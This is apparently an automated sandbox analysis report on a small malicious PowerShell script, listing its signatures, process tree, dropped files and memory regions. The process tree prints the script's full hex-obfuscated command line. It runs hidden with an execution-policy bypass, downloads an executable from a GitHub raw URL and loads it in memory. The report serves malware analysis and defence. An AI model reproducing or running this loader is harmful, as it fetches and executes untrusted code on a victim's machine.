Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260911-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260911-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    17/10/2026, 01:42

General

  • Target
    powershell -w hidden -nop -ep bypass -c "$s='74-72-79-20-7B-20-24-62-79-74-65-73-20-3D-20-28-4E-65-7.ps1
  • Size 993B
  • Sample261017-b43dlavsev
  • SHA256 6f1e63117e69d7eaef80de6c144b074a1d6ca531bf0b051668c1d39f543980b9
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\powershell -w hidden -nop -ep bypass -c _$s='74-72-79-20-7B-20-24-62-79-74-65-73-20-3D-20-28-4E-65-7.ps1"
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:844
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -nop -ep bypass -c ='74-72-79-20-7B-20-24-62-79-74-65-73-20-3D-20-28-4E-65-77-2D-4F-62-6A-65-63-74-20-4E-65-74-2E-57-65-62-43-6C-69-65-6E-74-29-2E-44-6F-77-6E-6C-6F-61-64-44-61-74-61-28-27-68-74-74-70-73-3A-2F-2F-67-69-74-68-75-62-2E-63-6F-6D-2F-63-63-73-67-6F-71-2D-62-79-74-65-2F-61-73-64-73-61-2F-72-61-77-2F-6D-61-69-6E-2F-53-61-70-70-68-69-72-65-5F-43-6C-69-63-6B-65-72-25-32-30-28-4F-55-54-44-41-54-45-44-25-32-30-4C-45-41-4B-29-2E-65-78-65-27-29-3B-20-24-61-73-6D-20-3D-20-5B-52-65-66-6C-65-63-74-69-6F-6E-2E-41-73-73-65-6D-62-6C-79-5D-3A-3A-4C-6F-61-64-28-24-62-79-74-65-73-29-3B-20-24-65-6E-74-72-79-20-3D-20-24-61-73-6D-2E-45-6E-74-72-79-50-6F-69-6E-74-3B-20-24-65-6E-74-72-79-2E-49-6E-76-6F-6B-65-28-24-6E-75-6C-6C-2C-20-24-6E-75-6C-6C-29-20-7D-20-63-61-74-63-68-20-7B-20-24-5F-2E-45-78-63-65-70-74-69-6F-6E-20-7C-20-46-6F-72-6D-61-74-2D-4C-69-73-74-20-2D-46-6F-72-63-65-3B-20-70-61-75-73-65-20-7D';iex(-join(-split'-'|%{[char][convert]::ToInt32(,16)}))
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2192

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 82575bc65dfce54754ccd98b26308a1b6087632d4cf938f77574d12925435ae7
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 64B
        • SHA256 a4b58cc9a5ebb4c083af962d87b93ced140101dd597c63e77d9b2db270cb8bb9
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_lsh2p5jf.u4c.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lsh2p5jf.u4c.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/844-0-0x0000023722D60000-0x0000023722D70000-memory.dmp

        memory/844-1-0x0000023722D60000-0x0000023722D70000-memory.dmp

        memory/844-9-0x0000023722CA0000-0x0000023722CC2000-memory.dmp

        memory/2192-11-0x00000266A79C0000-0x00000266A79D0000-memory.dmp

        memory/2192-10-0x00000266A79C0000-0x00000266A79D0000-memory.dmp

        memory/2192-19-0x00000266A79C0000-0x00000266A79D0000-memory.dmp